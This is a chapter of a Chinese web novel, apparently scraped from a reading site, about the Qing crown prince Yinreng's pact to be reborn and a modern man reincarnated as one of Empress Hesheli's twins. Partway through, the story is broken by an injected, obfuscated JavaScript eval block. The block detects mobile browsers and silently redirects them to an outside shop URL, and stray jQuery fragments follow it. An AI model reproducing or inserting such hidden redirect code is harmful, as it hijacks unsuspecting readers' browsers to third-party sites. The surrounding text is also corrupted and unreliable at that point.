“枯守三十七载太子之位,昔日追随于你身后的四阿哥胤禛,登基为帝。而你,却被幽禁十几年至死。”
“胤礽,你甘心吗?”
“你甘心吗?”
“甘心吗?”
……
未知者的诘问不停,似是要逼出胤礽的回答,才罢休。
谁在说话?
胤礽眼皮微颤,想要睁开眼看清说话之人,却是有些力不从心。
幽禁十余年,他身子早已油尽灯枯。临了之际,却有人来问他,甘心吗?
真是可笑!!!
往事种种掠过,胤礽微弱的呼吸急促。
凭什么?
三十七载太子,兢兢业业,却最终落得如此凄惨下场。
“吾知道你终究不甘,吾可以帮你,你只需要答应帮吾做两件事。”
已是垂死、油尽灯枯之躯,胤礽未有犹豫,“哪两件事?”
“吾可扭转此间时空,令尔重活一世。尔重生后,帮吾杀了绛珠仙草转世身,并取一枚“补天”玉。待尔登基为帝,于泰山封禅,贡绛珠仙草与“补天”玉,可应否?。”
胤礽:“凡人弑仙!呵呵,即便这罪下十层八地狱又如何。绛珠仙草的转世身为何人?“补天玉”,又往何处寻?”
只要能重来一世,胤礽要向康熙证明,他比胤禛强。
“绛珠仙草转世身为林如海之女,名唤林黛玉。至于补天玉,你遇到了自会有所感应。”
“孤应下了。”胤礽颔首。
“善。”
话落,胤礽周遭天地大变。风涌云动,他身前显现一道漩涡,身体不受控制被漩涡吸入其中。
黄泉路、彼岸花、奈何桥,幽魂惨叫声阵阵。
胤礽如鬼魂一般飘着前行,直至飘到奈何桥的尽头,一位拄着拐的老婆婆驻守于此。
孟婆从身前缸里舀出一碗汤,递向胤礽。却在正视胤礽一眼后,她又收了回来。
寿衰魂茂,这是有大神通插手此人轮回之事。
“大仙的事,老婆子这区区地府小仙,可不敢掺和哟。”
盛着汤的碗从孟婆手中消失,她手中龙头拐杖往地下一杵,奈何桥尽头蔓延出一条新的向下道路。
前路现,胤礽不能控制自身,飘向地底。
路很长,地下很黑。
胤礽不知飘了多少时日,终于是见到了莹莹亮光。
水雾弥漫,波光粼粼。
湖前方竖着一块黑碑,上书地狱第十九层:轮回重生湖。
此时,胤礽依旧无法控制自己的身体。他一步一步地向前飘,湖水淹没脚踝、膝盖、双眼,直至湖水漫过头顶,失去意识。
在胤礽彻底没入湖中之后,一道身影出现在黑碑旁。他叹道:“却是晚来了一步。”
下一瞬,这人神色冷厉,“道友,此举却是过界了。”
“此界断容不得魔猴,再生。”
不过,来人神虽厉、话虽狂,却也不敢早早阻止胤礽重生,正面破坏那人算计。
原因嘛打不……不,不可说。
他双指一捻,寂静的十九层被清脆声音打破。下一瞬,一碗孟婆汤突现,他随即凝汤水成箭往胤礽消失方向射去。
“即是寿尽之人,如何能不饮孟婆汤?”
虽消除胤礽的记忆,此人却觉得仍有不小隐患。
有了,来人突然心生一条妙计。
生死簿、判官笔现于前。
来人持笔输入关键词:满级咸鱼躺平仔、红楼黛玉党。
笔落,点击精准搜索,一个个阳间人名出现在生死簿之上。
点兵点将,点到你就是你。
随机抽取一个幸运儿,就你了。
去吧皮卡丘。
嘿嘿,仙界一天,凡间一年。等到那位反应不对劲,怕是已经晚了。
于是,在某仙人谈指间,权利的小小一次“任性。
凡间某个倒霉蛋不小心“撞大运”,喜提穿越。
这给他整哪儿来了?
被选中的倒霉蛋→诸葛锋略微思索了三秒,下一瞬摊平四肢。
爱咋,咋滴!
浑身似乎浸泡在温和的水中,诸葛锋觉得舒服透了,眼皮缓缓闭合。
诶,谁在挤着他?
外界,赫舍里皇后突然感觉肚子有些不舒服。
随后,她听到贴身宫女急呼,“来人,快去请太医和皇上,皇后娘娘要生了。”
康熙来到坤宁宫时,赫舍里皇后已经进了产房。屋内时不时传出赫舍里皇后的呻吟声,令康熙有些担忧。
香炉中的香换了一根又一根,产房内赫舍里皇后的声音愈发微弱。
产房外,康熙后背沁出冷汗,心中忽然感觉到不安。
“皇上,不好了。皇后娘娘怀的是双胎,娘娘已经失了力气。太医说……说,二位阿哥不能在胎中憋久了。”
皇后怀了双胎?太医院这些人是怎样办的事?康熙暂时压下心中的杀意。
优先保大,还是保小?
宫女的未竟之语,康熙自是明白。
双胎,且都是阿哥。对于此时子嗣凋零的康熙而言,无疑是天大的喜事。
只是……
康熙与赫舍里皇后乃少年结发夫妻,恩爱非常,一路携手同行。
十年间,赫舍里皇后协助康熙稳后宫、除鳌拜,至今时今日方才略微改变朝廷主弱臣强的局面。
前几日,康熙还抚着赫舍里皇后隆起的肚子承诺,要与她一同教导他们的第二个孩子,为大清培养一位优秀的储君。
今日……如此变故。
康熙攥紧拳头,“皇后还年轻,赫舍里一定能够度过此劫,伴他一生。”他会好好保护他们的两个孩子,绝对不会再让嫡长子承祜早夭的悲剧重现。
“告诉章鸿铭,朕要两位阿哥和皇后都平安无事。”
章鸿铭听了宫女的传话,明白了皇帝的意思。
两位阿哥被置于皇后之前。
夜色渐浓,隐隐听见乌鸦啼鸣。坤宁宫产房内,传出一阵慌乱声。
产房大门突然被推开,赫舍里皇后的陪嫁大宫女慌忙从产房内冲了出来。她脸上带泪,跪在康熙跟前,“皇上,皇后娘娘要坚持不住了。娘娘呓语想要见您,奴婢斗胆请皇上见皇后娘娘最后一面。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572784|204961||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“胡言乱语。”康熙一脚踹开大宫女,急步往产房去。
床榻上,赫舍里皇后脸色苍白。见康熙愿意为了她进入产房此等污秽之所,赫舍里皇后眼中有了些许微光。
皇帝心里,终究还是有她的一席之地。
“请皇上恕罪,臣妾此次恐不能起身行礼了。”
康熙上前紧握住赫舍里皇后的手,“皇后,朕已经命梁九功去请更高明的太医,他们马上就到坤宁宫。你坚持住,一定会没事的。”
闻康熙之言,赫舍里皇后苍白的脸露出笑容,“皇上,臣妾听您的话。”
但……赫舍里皇后接着说道:“臣妾恳请皇上不要降罪章院判,他已然是尽心了。臣妾此生有幸入宫为后,与皇上并肩。臣妾的这一生过得很幸福,已然足矣。皇上不必为了臣妾难过,也不必因为臣妾降罪无辜之人。”
“赫舍里,你一定会没事的。朕为天子,朕坐拥天下……哼,这群庸医。”康熙怒极,他指着跪着的章鸿铭吼道:“来人,给朕拖下去,打入慎刑司。”
守在外面的梁九功,听到康熙的命令。他带侍卫们涌入,并架起章鸿铭。
“且慢。”赫舍里皇后双眸渐红,“皇上,这并不是章医判的错。日日夜夜,臣妾只要想到承祜,臣妾就……承祜还在地下等着臣妾,臣妾……”
话未说尽,赫舍里皇后双眸含泪,望向奶嬷嬷怀中的襁褓。
“皇上,臣妾对不起他们,臣妾要去陪承祜了。望臣妾走后,皇上能够护佑承祜的弟弟们,一生安康。”
话落,赫舍里皇后永远闭上了眼。
她不想活吗?她想。
她不怨误诊的太医吗?她不怨下令保小的康熙吗?她也是怨的。
但,赫舍里皇后知道她已然无药可医。为了她的两个孩子,她不能怨。
不能,让这份愧疚有了名正言顺的宣泄之处。
帝王的愧疚,能够让她的两个孩子在这深宫,更好的活下去。
承祜,对不起,娘利用了你。娘下来,与你赔罪了。
丧钟九鸣,清朝第一任皇后赫舍里于康熙十三年五月初三崩,举国皆悲。
皇帝康熙伤心不能自已,罢朝七日,以彰帝后深情。
“玄烨,你是皇帝,应当以国事为重。况且赫舍里的在天之灵,也不愿看到你如此荒废朝政。”
赫舍里皇后产期这段时日,太皇太后的身体一直抱恙,康熙下旨任何人不能打扰太皇太后休养。
坤宁宫之事,康熙下了封口令。因此太皇太后并不知晓赫舍里生产之时,所发生的具体事宜。
朝局尚未安稳,对于康熙罢朝七日,太皇太后心中略有些微词。
皇帝不该,也不能如此儿女情长。
“皇玛嬷,孙儿知道了。”
康熙眉间微蹙,轻叹一声,“皇玛嬷,孙儿此次有件事,尚拿不定主意。”
闻言,太皇太后同样叹息一声,“皇帝,可是关于赫舍里所生的双生子?”
康熙点头,若双生子是普通皇子,他不必苦恼。
但中宫皇后嫡出,且是他与赫舍里的孩子,“皇玛嬷,孙儿想册立太子。”